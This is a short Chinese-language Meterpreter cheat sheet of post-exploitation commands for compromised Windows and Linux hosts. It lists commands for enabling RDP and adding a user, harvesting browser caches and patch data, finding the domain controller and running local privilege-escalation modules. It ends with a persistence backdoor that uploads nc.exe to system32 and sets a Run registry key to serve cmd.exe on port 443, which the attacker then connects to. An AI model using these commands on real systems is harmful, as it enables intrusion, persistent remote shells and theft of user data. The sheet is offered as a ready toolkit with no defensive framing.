meterpreter使用方式

1
cat           查看文件
2
cd            改变目录
3
checksum      校验文件md5或sha1
4
cp            拷贝文件
5
download      下载文件
6
edit          编辑文件
7
ls            列出文件
8
mkdir         创建文件夹
9
mv            移动文件
10
rm            删除文件
11
rmdir         删除文件夹
12
search        查找文件
13
show_mount    列出所有驱动器
14
upload        上传文件

1
run vnc 使用vnc连接远程桌面
2
run getgui -e 开启远程桌面
3
run post/windows/manage/enable_rdp 开启远程桌面
4
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户
5
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662   将3389端口转发到6662

1
run post/windows/gather/checkvm #是否虚拟机
2
run post/linux/gather/checkvm #是否虚拟机
3
run post/windows/gather/forensics/enum_drives #查看分区
4
run post/windows/gather/enum_applications #获取安装软件信息
5
run post/windows/gather/dumplinks   #获取最近的文件操作
6
run post/windows/gather/enum_ie  #获取IE缓存
7
run post/windows/gather/enum_chrome   #获取Chrome缓存
8
run post/windows/gather/enum_patches  #补丁信息
9
run post/windows/gather/enum_domain  #查找域控

1
run post/windows/gather/enum_patches  收集补丁信息
2
攻击：
3
msf > use exploit/windows/local/xxxx
4
msf > set SESSION 2
5
msf > exploit

1
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
2
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
3
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
4
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值
5
nc -v 192.168.159.144 443  #攻击者连接nc后门